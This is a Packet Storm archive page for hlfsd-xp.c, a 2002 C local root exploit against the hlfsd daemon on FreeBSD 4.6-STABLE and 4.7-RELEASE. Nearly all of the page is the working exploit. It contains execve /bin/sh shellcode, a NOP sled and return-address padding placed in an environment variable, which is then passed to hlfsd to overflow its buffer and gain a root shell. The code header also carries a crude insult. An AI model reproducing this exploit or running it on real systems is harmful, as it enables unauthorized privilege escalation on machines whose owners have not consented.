exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

hlfsd-xp.c

hlfsd-xp.c
Posted Dec 3, 2002
Authored by Rooterx

Hlfsd local exploit tested on FreeBSD 4.6-STABLE and 4.7-RELEASE. Hlfsd is not SUID by default.

tags | exploit, local
systems | freebsd
SHA-256 | ec0c364ca5a80087101a5cb10e3a7355c48c4a10f37fb0d2ec5b278420d7a08a

hlfsd-xp.c

Change Mirror Download
Hi Packetstormsecurity guys.

/*
* hlfsd-xp.c
* Local root exploit for hlfsd.
* 1) FreeBSD 4.7-RELEASE
* 2) FreeBSD 4.6-STABLE
* hlfsd not suid by default, but if... g0t r00t.
* argv[1] - buffer size (def: 1000), argv[2] - offset (def: 0)
* Thanks to: thefate, v1pee, Billi_k1d, meff, lbyte,xaoc
* Fuckz to: S|{IF yestarday you hurt me bad, you think I'm worse than
* you are? fuck you then!
*
* r00terX, NERF gr0up. (c) 2002 <under@azerinet.com>, nerf.ru
* advisory by division7
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

#define NOP 0x90
#define DEFAULT_BUFFER_SIZE 1041

char freebsdshellcode[] ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

struct TARGET {
char *type;
char *shellcode;
int pad;
};

struct TARGET targets [] = {
{"Freebsd 4.6-STABLE -x86 shellcode",freebsdshellcode,120},
{"Freebsd 4.7-RELEASE -x86 shellcode",freebsdshellcode,0},
{NULL, NULL, 0}
};

void ussage (char *argv);

int main(int argc, char **argv) {
char *buff, *ptr;
long *addr_ptr, addr;
int bsize=DEFAULT_BUFFER_SIZE;
int i;
int target;

if ((argc < 2))
ussage(argv[0]);
target = atoi(argv[1]);

if(!(buff = malloc(bsize))) {
printf("Can\`t allocate memory.\n");
exit(0);
}

addr = get_sp() - targets[target].pad;

printf("Using target: %s\n", targets[target].type);
printf("Using address: 0x%x\n", addr);
printf("Using buffer size: %d\n", DEFAULT_BUFFER_SIZE);
printf("Using offset: %d\n", targets[target].pad);

ptr = buff;
addr_ptr = (long *) ptr;
for(i=0; i<bsize; i+=4)
*(addr_ptr++) = addr;

for(i=0;i < bsize/2;i++)
buff[i]=NOP;

ptr = buff+((bsize/2)-(strlen(targets[target].shellcode)/2));

for(i=0;i < strlen(targets[target].shellcode); i++)
*(ptr++) = targets[target].shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/usr/sbin/hlfsd -x $EGG");
}

void list_targets () {
int i;
for (i=0; targets[i].type != NULL; i++) {
fprintf (stderr, "%d) - %s\n", i, targets[i].type);
}
}

void ussage (char *argv) {
printf ("%s - hlfsd local exploit\n",argv);
printf ("written by r00terX\n\n");
printf ("Ussage %s <target type> \ntargets avalible:\n\n");
list_targets ();
exit(0);
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close